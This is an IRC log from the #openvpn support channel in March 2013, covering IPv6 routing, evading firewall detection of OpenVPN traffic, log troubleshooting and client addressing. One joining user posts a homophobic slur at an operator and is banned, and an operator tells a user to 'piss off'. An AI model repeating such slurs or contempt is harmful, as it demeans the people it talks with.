22:51 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
22:51 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
22:51 < pekster> But that's still largely irrevelent since you need a routed block to assign to OpenVPN
22:52 < pekster> It won't really help to know how you're connected to your upstream network
22:52 < pekster> This channel really isn't the right place to ask about how to get PD or route assingment/deligation working. #ipv6 might be a better place, but you need to know your own network details before you can expect to use openvpn with any of it
22:53 < pekster> Some guy a while back got on-link IPs working with clients in tun mode, but it required sorcery to get the server to respond to the NDP request
22:54 < DaveTheDude> http://pastebin.com/0s4gufnx
22:54 < DaveTheDude> is that sufficient?
22:54 < pekster> So, you want to use a routed block unless you're prepared to sacrifice a goat or whatever he did
22:54 < pekster> Probably not
22:54 < DaveTheDude> i see
22:55 < pekster> Unless you'd like do to whatever NDP proxying is required to expose on-link IPs to clients
22:55 < pekster> (the v6 version of ARP proxy)
22:55 < DaveTheDude> what exactly are the requirements to make the latest version of openvpn work with ipv6?
22:55 < pekster> So, re-read what I wrote above about obtaining a PD or routed block from your network provider, and the assign openvpn a /112 or /64 out of that as I described above
22:55 -!- latenite [~latenite@138.77.121.79] has joined #openvpn
22:56 < pekster> Instead of doing this through your VPN, why not just get a tunnel broker and set that up on your client if you want to get IPv6 access?
22:56 < DaveTheDude> is the "full ipv6 support" really meant for people who want to use specifically ipv6 and not just route their ipv6 and ipv4 traffic through openvpn?
22:57 < pekster> Sure. If you want IPv6 access across the tunnel, use a >=2.3.0 (patches exist for the 2.2 series too)
22:57 < DaveTheDude> yeah i use to use HE for that
22:57 < DaveTheDude> I will be updating to 2.3.0 tonight tho
22:58 < DaveTheDude> just using 2.3.0 won't actually route any and all ipv6 traffic through openvpn tho
22:58 < DaveTheDude> will it?
22:59 < DaveTheDude> i'll be using the debian repo found here https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
22:59 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
22:59 < pekster> You need --route-ipv6 to push IPv6 routes, and of course that requires a v6 IP on both ends (via --tun-ipv6 and the relevant --ifconfig-ipv6 or --server-ipv6 options)
23:02 < pekster> Get your upstream IPv6 addressing & routes figured out first, then mess with openvpn after that's set up
23:02 < pekster> It's worthless to assign address you don't have
23:03 < DaveTheDude> i see
23:04 < DaveTheDude> so i would be better off to simply turn off ipv6 in windows
23:04 < pekster> Even a routed /64 should be fine; you can either let openvpn use that, or all you really need is a /112 from that range (since that gives up support for "up to 65,536" clients, more than you'll be able to connect)
23:05 < pekster> Well, if you have IPv6 access in Windows, I'm still confused why you want to get another address assigned on your server to start with
23:06 < pekster> It's not like tunneling through openvpn is going to give you anything special your HE tunnel doesn't already
23:06 < DaveTheDude> i no longer use HE
23:06 < pekster> If you have no IPv6 access on Windows, you don't need to turn anything off if you don't want it...
23:06 < DaveTheDude> and yes windows confuses me as well
23:06 < DaveTheDude> i do not have an ipv6 home address
23:07 < DaveTheDude> yet i see ipv6 network traffic frequently
23:07 < pekster> On your private LAN?
23:09 < DaveTheDude> i was trying to find an example
23:10 < DaveTheDude> i can't always tell where it is from or going
23:13 < DaveTheDude> well, thank you pekster
23:13 < DaveTheDude> have a good night.
23:14 -!- DaveTheDude [~FuckOff@69.85.93.87] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
23:14 < pekster> If you see RAs on your ISP's network, they're probably offering IPv6 access that way, and usually a PD if you ask for it via dhcpv6
23:14 < pekster> Well, that #ipv6 land anyway I guess...
23:15 -!- MeanderingCode [~Meanderin@199.254.238.216] has joined #openvpn
23:16 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
23:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
23:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
23:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
23:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:45 -!- Orbi [~opera@anon-147-110.vpn.ipredator.se] has joined #openvpn
23:47 -!- Orbi [~opera@anon-147-110.vpn.ipredator.se] has left #openvpn []
23:49 -!- latenite [~latenite@138.77.121.79] has quit [Ping timeout: 264 seconds]
--- Day changed Thu Mar 07 2013
00:00 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has quit [Ping timeout: 245 seconds]
00:02 -!- BasicXP [~basicxp@ubuntu/member/BasicXP] has joined #openvpn
00:11 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
00:15 -!- ddlk [~ddlk@ec2-54-235-194-90.compute-1.amazonaws.com] has joined #openvpn
00:16 < ddlk> Hi, guys, I am wondering that is openvpn packet detectable?
00:19 < pekster> Yes, when using X509 (also known as "server" or "TLS" modes of operation) the OpenVPN protocol has a detectable fingerprint
00:19 < pekster> Shared secret (by using the --secret option) uses symmetric encryption directly, so it appears as completely random data inside the UDP/TCP packet with no dectable fingerprint
00:20 < ddlk> Once the connection is established, the existence of vpn cannot be detected, right?
00:21 < ddlk> I am from China, every time I want to connect to my vpn server, I have to change its port, or the connection will not success
00:22 < pekster> You may have better luck using the p2p mode (instead of the server/client mode with certs) because otherwise your connections can be fingerprinted as OpenVPN by various packet inspection techniques
00:22 -!- latenite [~latenite@138.77.121.79] has joined #openvpn
00:23 < ddlk> But I have severial devices (pc and mobile) need to connect to vpn, p2p is not suitable for this
00:24 < ddlk> I once use pptpd, but it seems rather un-stable, it disconnects a lot
00:24 < pekster> You would need multiple instances running on the server, but it is doable like that
00:25 < ddlk> I'll try the pre-shared key, hope it will work :D
00:26 < pekster> And if you haven't already, using some obscure randomly-chosen port is wise too: 1194 is the IANA standard for OpenVPN, and to mask what the encrypted traffic is you're better off picking something randomly above port 30000
00:26 < ddlk> wondering if there exist some vpn that cannot be detected, the GFW thing is really annoying
00:26 < pekster> There's also the obfs proxy project, but I don't have experience with that
00:26 < pekster> !obfs
00:26 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used.
00:26 <@vpnHelper> in static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
00:28 < ddlk> 1194 is long dead in China, every time I connect to the server, I have choose another one.
00:28 < pekster> Right, chances are some DPI device flags the traffic and eventually blocks the IP and/or port you're using
00:29 < pekster> Hence my suggestion to use either static-key or look into that obfsproxy project to mask the fingerprint the spy device can use
00:29 < ddlk> Looking into obfsproxy ~
00:36 < ddlk> seems they only have a browser bundle for download
00:38 -!- mirco [~mirco@p508062C9.dip.t-dialin.net] has joined #openvpn
00:51 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
00:51 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
00:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
00:52 -!- mode/#openvpn [+o krzee] by ChanServ
00:52 -!- Porkepix [~Porkepix@net-2-40-85-103.cust.dsl.teletu.it] has quit [Quit: Computer has gone to sleep.]
00:53 -!- mezgani [~mezgani@41.249.4.68] has quit [Quit: Leaving]
00:57 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
01:09 < latenite> Hi folks, I have a litte trouble choosing the right IP for my vpn server (on a VM) and clients. My openvn server itself is on a subnet/29 I bought from my ISP. The first IP out of that subnet is bound to the br0 interface of the host (for the VMs). The second IP out of the subnet is bound to the eth0 of the VM that runs openvpn.
01:09 < latenite> Now...
01:10 < latenite> What do I set the "server ${serverip }${netmask}" directive out of server.conf to?
01:11 < latenite> This is my Subnet I have:
01:12 < latenite> https://gist.github.com/anonymous/5106133
01:12 <@vpnHelper> Title: gist:5106133 (at gist.github.com)
01:12 < latenite> 5.9.243.145  is the hosts br0
01:13 < latenite> 5.9.243.146 is the VM with openvpn
01:13 < latenite> the rest of the 4 IP want the server to hand out to clients...staticly
01:33 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
01:38 -!- Porkepix [~Porkepix@157.138.184.18] has joined #openvpn
01:39 -!- mirco [~mirco@p508062C9.dip.t-dialin.net] has quit [Quit: mirco]
01:46 -!- eHAPPY [~V1CE@ip174-73-3-95.no.no.cox.net] has joined #openvpn
01:47 < eHAPPY> ok im really having a hard time getting openvpn setup on linux; is there anyway to get it facing a public IP without generating keys first? it works just fine on my LAN but cant push UDP/TCP to the public IP
01:49 -!- newbie|3 [~tjz@bb219-74-43-126.singnet.com.sg] has quit [Read error: Connection reset by peer]
01:50 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
01:56 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:03 -!- dazo_afk is now known as dazo
02:06 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
02:08 -!- _ddlk_ [~ddlk@183.246.96.191] has joined #openvpn
02:09 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:10 -!- ddlk [~ddlk@ec2-54-235-194-90.compute-1.amazonaws.com] has quit [Read error: Connection reset by peer]
02:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:22 -!- Porkepix [~Porkepix@157.138.184.18] has quit [Ping timeout: 255 seconds]
02:24 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:24 -!- Porkepix [~Porkepix@157.138.76.100] has joined #openvpn
02:32 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Quit: mirco]
02:36 -!- Porkepix_ [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
02:38 -!- Porkepix [~Porkepix@157.138.76.100] has quit [Ping timeout: 260 seconds]
02:38 -!- Porkepix_ is now known as Porkepix
02:44 -!- _ddlk_ [~ddlk@183.246.96.191] has quit [Ping timeout: 245 seconds]
02:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:54 -!- excalibr [~excalibr@unaffiliated/excalibr] has joined #openvpn
02:54 < excalibr> hello
03:00 -!- excalibr [~excalibr@unaffiliated/excalibr] has quit [Quit: WeeChat 0.4.0]
03:09 -!- zz_AsadH is now known as AsadH
03:10 -!- Saviq [~Saviq@sawicz.net] has quit [Changing host]
03:10 -!- Saviq [~Saviq@canonical/saviq] has joined #openvpn
03:18 -!- Saviq [~Saviq@canonical/saviq] has left #openvpn ["Ex-Chat"]
03:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
03:40 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Ping timeout: 248 seconds]
03:47 -!- JSharpe [~JSharpe@46.165.221.13] has joined #openvpn
03:50 -!- Porkepix [~Porkepix@157.138.184.18] has joined #openvpn
03:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:55 -!- Porkepix [~Porkepix@157.138.184.18] has quit [Ping timeout: 250 seconds]
03:58 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
04:02 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
04:03 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
04:14 -!- gedO [~quassel@esc.ortopedija.lt] has joined #openvpn
04:14 -!- gedO [~quassel@esc.ortopedija.lt] has quit [Remote host closed the connection]
05:03 -!- MeanderingCode [~Meanderin@199.254.238.216] has quit [Remote host closed the connection]
05:12 -!- AsadH is now known as zz_AsadH
05:15 -!- zz_AsadH is now known as AsadH
05:26 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
05:26 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
05:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
05:26 -!- mode/#openvpn [+o krzee] by ChanServ
05:33 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
05:42 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Ping timeout: 248 seconds]
05:49 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
05:57 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Quit: Reconnecting]
05:57 -!- dxtr [cfc05a40@unaffiliated/dxtr] has joined #openvpn
06:05 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
06:22 -!- lolmaus [~lolmaus@178.236.241.96] has joined #openvpn
06:25 < lolmaus> I've got a virtual machine that i launch on different hosts under different networks. I would like this virtual machine to be available with a static IP. Can i achieve that using OpenVPN and a VDS?
06:31 <+EugeneKay> VDS?
06:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
06:31 < lolmaus> EugeneKay, virtual dedicated server, aka VPS
06:31 <@krzee> venerial disease?
06:31 <@krzee> diseases*
06:31 <+EugeneKay> Then say VPS.
06:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:32 <+EugeneKay> VDS is a term nobody uses except scumbag OpenVZ providers when they decide to sell you a "premium" instance.
06:32 <+EugeneKay> And yes, you can do that with openvpn+a bit of NAT magic
06:32 <@krzee> watching and loving the fillibuster
06:34 <@plaisthos> virtual dedicated ...
06:34 <+EugeneKay> I try not to care about politics. I can only handle so many stupid people.
06:34 <@plaisthos> would you like some dry water with that?
06:34 <@krzee> haha no kidding
06:35 < rob0> Virus distribution station
06:35 < lolmaus> I can do that too. Vietnamese Professionals Society
06:36 <+EugeneKay> That's not even funny
06:41 <@krzee> womp wommmp
06:42 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
06:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 250 seconds]
06:50 < kjs> Guys, if a openvpn client cant access the cert / key files would it give me an error or just fail to connect ?
06:51 < kjs> I see nothing in the connect server logs when I attempt to connect my client
06:51 -!- lolmaus [~lolmaus@178.236.241.96] has quit [Read error: Connection reset by peer]
06:51 <@krzee> !logs
06:52 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
06:52 -!- lolmaus [~lolmaus@178.236.241.96] has joined #openvpn
06:53 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 248 seconds]
06:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:01 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
07:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:17 < kjs> i see...
07:17 < kjs> 5/CN=server.does.not.exists/dnQualifier=server
07:18 < kjs> from the client
07:18 < kjs> server side i see notihng
07:31 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Max SendQ exceeded]
07:32 <@ecrist> kjs: we need to see your logs
07:32 <@ecrist> just because YOU don't see anything doesn't mean we won't
07:37 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
07:53 < kjs> ecrist: what I mean is don't see anything server side
07:55 < kjs> in openvpn-status.log
07:56 < kisom> pekster: Hey, did you have time to try out my conf yet?
08:00 <@ecrist> kjs: that's not the log we want
08:00 <@ecrist> the status log is for current connections, and isn't much of a log, really
08:01 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds]
08:13 < kjs> ecrist: where can i find the useful log info ?
08:16 <@ecrist> do you have a verb line in your server config?
08:16 <@ecrist> if not, do like vpnHelper said above and set verb to 5 and restart the server
08:16 <@ecrist> not the whole server, just the openvpn process
08:18 < kjs> Yes
08:18 < kjs> it's there
08:18 <@ecrist> do you have a log line?
08:18 < kjs> i did a reload
08:18 < kjs> not restart, that should sufice ?
08:19 <@ecrist> no
08:20 -!- genghi [~Adium@2.171.156.135] has quit [Remote host closed the connection]
08:20 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
08:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
08:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
08:24 -!- mode/#openvpn [+o mattock] by ChanServ
08:33 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 264 seconds]
08:35 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
08:36 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
08:42 -!- marksaitis [~marksaiti@gemsyorkroad.demon.co.uk] has joined #openvpn
08:44 -!- levifig [~levifig@spwn.co] has joined #openvpn
08:48 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:50 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
08:50 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
08:51 -!- marksaitis [~marksaiti@gemsyorkroad.demon.co.uk] has quit [Read error: Connection reset by peer]
08:52 -!- roror [~rororo@180.168.11.26] has joined #openvpn
08:53 < levifig> are there any advantages of switching to OpenVPN from L2TP for a network of routers? We basically connect all our client's routers (that we install/use for hosted services) to our VPN concentrator… We're using L2TP at the moment but I've been researching OpenVPN…
08:54 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has quit [Ping timeout: 252 seconds]
08:55 < kjs> ecrist: I see LTS handshake failed
08:55 < kjs> could it be the CA.crt is wrong that i signed the keys again...
08:55 < levifig> from my research, there doesn't seem to be that big of a benefit for this particular application… We're using MikroTik routers (RouterOS) so we're limited to TCP and no LZO compression anyway on their OpenVPN implementation…
08:57 < kisom> levifig: I'm not really sure why'd you want to migrate a fully functioning L2TP setup?
08:57 < levifig> kisom: actually, I started migrating this from PTPP :)
08:58 < rob0> eww.
08:58 < levifig> kisom: as I'm doing so, I decided to consider OpenVPN
08:58 <@ecrist> kjs: post your logs or piss off
08:58 < levifig> rob0: agree :)
08:58 < levifig> rob0: it was what they had when I got here :X
08:58 -!- roror [~rororo@180.168.11.26] has quit [Ping timeout: 252 seconds]
08:59 < kisom> levifig: Performance-wise I don't think OpenVPN has any huge advantage over L2TP.
08:59 < rob0> Nice thing about OpenVPN is that it's modular. If something is wrong in part of it, such as the openssl libraries, it's easier to fix.
08:59 < rob0> Performance-wise ipsec should generally win, but not by a major factor.
09:02 < levifig> the problem I'm facing is the whole certificate nightmare
09:02 < levifig> for what we do, user/secret tends to be easier
09:03 < levifig> since these are machines connecting to each other, with no user access (just admin), the security/streamlined certificate access seems to be too much work for what it gives…
09:03 < levifig> am I missing something or does this make sense?
09:05 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 256 seconds]
09:07 -!- Porkepix [~Porkepix@ks353551.kimsufi.com] has joined #openvpn
09:12 -!- EasterBunny [mis7er@kn.ock.in] has joined #openvpn
09:13 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
09:14 < kjs> ecrist: pretty rude, I can't paste server side logs only access is via console which is why I typed that part of the log. I don't expect help here but I also don expect to be told to piss off.
09:15 < EasterBunny> yeah ecrist fag
09:15 -!- mode/#openvpn [+o EugeneKay] by ChanServ
09:15 -!- mode/#openvpn [+b *!*mis7er@*.ock.in] by EugeneKay
09:15 -!- EasterBunny was kicked from #openvpn by EugeneKay [Easter is next month]
09:16 < kisom> levifig: And what happens when a user roots your hardware?
09:16 < kisom> levifig: Certificates can be revoked, shared secrets cant.
09:16 <@EugeneKay> !both
09:16 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
09:16 <@ecrist> lol
09:16 <@EugeneKay> kjs ^ that's why we ask for server logs.
09:16 <@EugeneKay> !refund
09:16 < kjs> I understand...
09:16 <@EugeneKay> Hrm, guess this bot doesn't have it
09:17 <@ecrist> kjs: didn't we discuss this copy/paste thing the other day?
09:17 -!- EasterBunny [mis7er@fedcirc.net] has joined #openvpn
09:17 -!- mode/#openvpn [+b *!*@fedcirc.net] by ecrist
09:17 -!- EasterBunny was kicked from #openvpn by ecrist [EasterBunny]
09:17 < levifig> kisom: hmmm… good point!
09:17  * dazo wonders what he missed about EasterBunny now :)
09:17 < kjs> ecrist: no ?
09:17 -!- EasterBunny [mis7er@dumbhead.net] has joined #openvpn
09:17 < EasterBunny> it's this month
09:18 < EasterBunny> 31st
09:18 -!- mode/#openvpn [+b *!*@dumbhead.net] by ecrist
09:18 -!- EasterBunny was kicked from #openvpn by ecrist [EasterBunny]
09:18 -!- mode/#openvpn [+b EasterBunny!*@*] by EugeneKay
09:18 < kjs> actually i can get the logs
09:18  * dazo suddenly understood it
09:18 < kjs> ill email myself the file - doh!
09:18 <@EugeneKay> kjs - what's wrong with SSH?
09:19 < kjs> I cant access that host via ssh it's on a sep isolated subnet.
09:19 < kjs> unles I connect over the vpn... Which obviously I can't
09:19 < kjs> ;)
09:19 <@EugeneKay> If you can get mail out, you can get SSH in
09:19 < levifig> kisom: if we had a CA setup it'd be a good thing… we just don't have that in our infrastructure ATM :X
09:19 <@EugeneKay> It just takes a lil networking
09:19 < kjs> yeah its setup like this for a reason
09:19 <@ecrist> levifig: a CA would be ideal
09:19 < kjs> and no, not just to piss me off...
09:20 < kisom> levifig: Also, OpenVPN over TCP is broken at the moment, so if microtik can only use TCP then I'd stick to L2TP.
09:20 <@ecrist> kisom: it is?
09:20 < levifig> :o
09:20 < kisom> ecrist: Ticket 263.
09:20 < kisom> Nobody seems to notice it.
09:21 < kisom> I'm just about to post to openvpn-devel
09:21 <@dazo> kisom: I'm using 2.3 with TCP successfully
09:21 <@dazo> on two different servers
09:21 <@EugeneKay> !learn refund as If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of the purchase price and are invited to use another VPN solution. Elsewhere.
09:21 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
09:21 <@dazo> and a couple of clkients
09:21 <@EugeneKay> Damn you, bot.
09:22 < kisom> dazo: It works when the network load isn't too high.
09:22 < kisom> If you send packets faster than the connection can handle, the connection breaks and openvpn reports a crypto error.
09:22 <@plaisthos> !learn refund as If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of the purchase price and are invited to use another VPN solution. Elsewhere.
09:22 <@vpnHelper> Joo got it.
09:22 <@plaisthos> EugeneKay: no idea why it does not like you
09:22 < kisom> It's all explained in the ticket + config files to be used for reproducing the bug.
09:23 <@ecrist> EugeneKay: it's borked again
09:23 <@ecrist> krzee *fixed* it
09:23 <@EugeneKay> plaisthos - because I'm not on an @openvpn/ cloak; my bot account was separate, and ecrist hasn't fixed it since he borked the bot.
09:23 <@ecrist> no, I fixed it, and krzee re-fixed it
09:23 <@EugeneKay> Ah.
09:23 <@EugeneKay> Well, fix harder
09:23 < rob0> !blame
09:23 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says its always d12fk's fault (and sometimes the customers)
09:23 <@ecrist> heh
09:24 <@plaisthos> EugeneKay: you try to get a refund from the bot ;)
09:24 <@ecrist> !learn refund as If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of  the purchase price and are invited to use another VPN solution. Elsewhere.
09:24 <@vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
09:24 <@EugeneKay> Meh, I wore my OpenVPN shirt yesterday. I think that's good enough.
09:24 <@ecrist> :(
09:24 <@EugeneKay> Today it's my Tor shirt
09:24 <@plaisthos> !whoami
09:24 <@vpnHelper> developers
09:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
09:25 -!- mode/#openvpn [+o krzee] by ChanServ
09:26 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
09:28 <@ecrist> plaisthos: can you add that factoid, please?
09:29 <@EugeneKay> He did.
09:29 <@EugeneKay> !refund
09:29 <@vpnHelper> "refund" is If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of the purchase price and are invited to use another VPN solution. Elsewhere.
09:29 < kjs> haha
09:32 <@ecrist> oh,neat
09:32 < kisom> dazo: Can you try flooding a client over your VPN and see if it disconnects? :)
09:32 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
09:34 < MacGyver> I've got two questions. First, if I run OpenVPN on the client not in daemon mode, and drop privileges after startup, how can I ever get it to cleanly remove its routes when closing the tunnel using ctrl+C?
09:35 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 256 seconds]
09:35 < MacGyver> Second, suppose I'm on a network whose DNS I want to continue to use, but *only* for the domain "localdomain", and for all others I want to use the pushed DNS. Furthermore, as soon as the VPN closes, the domains DNS-server should be used again for all domains. Is there any easy way to do that?
09:36 <@dazo> kisom: I'll try ... don't have time right now, but will run some tests on that
09:40 < kisom> dazo: OK, fair enough. If you're running a layer 2 network and have --client-to-client enabled then you can flood the broadcast address, causing all clients to disconnect.
09:41  * dazo uses TUN ;-)
09:41 <@dazo> (and no client-to-client)
09:41 < kisom> I would too if I didn't need broadcasts ;)
09:47 -!- lolmaus [~lolmaus@178.236.241.96] has quit []
09:49 -!- mattock is now known as mattock_afk
09:50 < latenite> Hi folks, can someone please help me with my IP issue I've got?
09:50 < pulz> im trying to add static ip to a openvpn client based on the ca, using the ipconfig-push 10.8.0.250 10.8.0.0; command, but it doesnt seem to work, any suggestions ?
09:51 <@dazo> !ask
09:51 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
09:51 <@dazo> latenite: ^^^
09:52 < latenite> <latenite> Hi folks, I have a litte trouble choosing the right IP for my vpn server (on a VM) and clients. My openvn server itself is on a subnet/29 I bought from my ISP. The first IP out of that subnet is bound to the br0 interface of the host (for the VMs). The second IP out of the subnet is bound to the eth0 of the VM that runs openvpn.
09:52 < latenite> <latenite> Now...
09:52 < latenite> <latenite> What do I set the "server ${serverip }${netmask}" directive out of server.conf to?
09:52 < latenite> <latenite> This is my Subnet I have:
09:52 < latenite> <latenite> https://gist.github.com/anonymous/5106133
09:52 <@vpnHelper> Title: gist:5106133 (at gist.github.com)
09:53 < MacGyver> pulz: 10.8.0.0 is not a valid IP-address.
09:53 < MacGyver> pulz: Or rather.
09:53 < MacGyver> pulz: It's not a valid host address.
09:53 < latenite> ...throuble is: What is I set it to "server 5.9.243.144 255.255.255.248" ? Then the server itself woulge get 5.9.243.145 wich is already assingend to the VM running openvpn
09:53 <@dazo> latenite: for simplicity ... use an !rfc1918 address
09:54 <@dazo> !rfc1918
09:54 <@dazo> !1918
09:54 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
09:54 < latenite> dazo, MacGyver I know its the network address
09:54  * dazo thinks MacGyver replied to pulz, though ....
09:55 < latenite> I did get me a Range of IPs that are "real" and not rfc1918 ...so I can hand them out to clients of the vpn
09:55 < latenite> ..but I already use 2 of them for the hosts bridge and the VM running openvpn
09:55 < MacGyver> latenite: Unless you and pulz are the same person / team, I wasn't replying to your issue.
09:55 < latenite> MacGyver, ohh ok. sorry :D
09:55 <@dazo> latenite: it's possible to do so too ... but it may cause you extra challenges when starting to do the routing .... using rfc1918 for VPNs is *the* recommended way
09:56 <@dazo> latenite: if you want your clients to have static public IP addresses when surfing the net ... I'd probably rather recommend doing NAT on the VPN server side
09:56 < latenite> dazo, but then my clients would get rfc1918 IPs. How would they get to use the internet?
09:56 <@dazo> latenite: NAT
09:57 < pulz> MacGyver: based on http://openvpn.net/index.php/open-source/documentation/howto.html#policy it should use 2 seqential ips ?
09:57 <@vpnHelper> Title: HOWTO (at openvpn.net)
09:57 < latenite> dazo, But I can only DNAT one client than. Right?
09:57 < MacGyver> pulz: They don't have to be sequential, but you cannot use the all-zeroes address.
09:57 < MacGyver> pulz: 10.8.0.1 would be fine, probably.
09:58 < latenite> dazo, I talked about that to "pakster" the other day. He realy helped me a lot on getting started with openvpn
09:58 < pulz> what is the second ip adress ?, the first one is the ip adress the client gets assigned ?
09:58 < latenite> he recommended not to use NAT but rather have public IPs
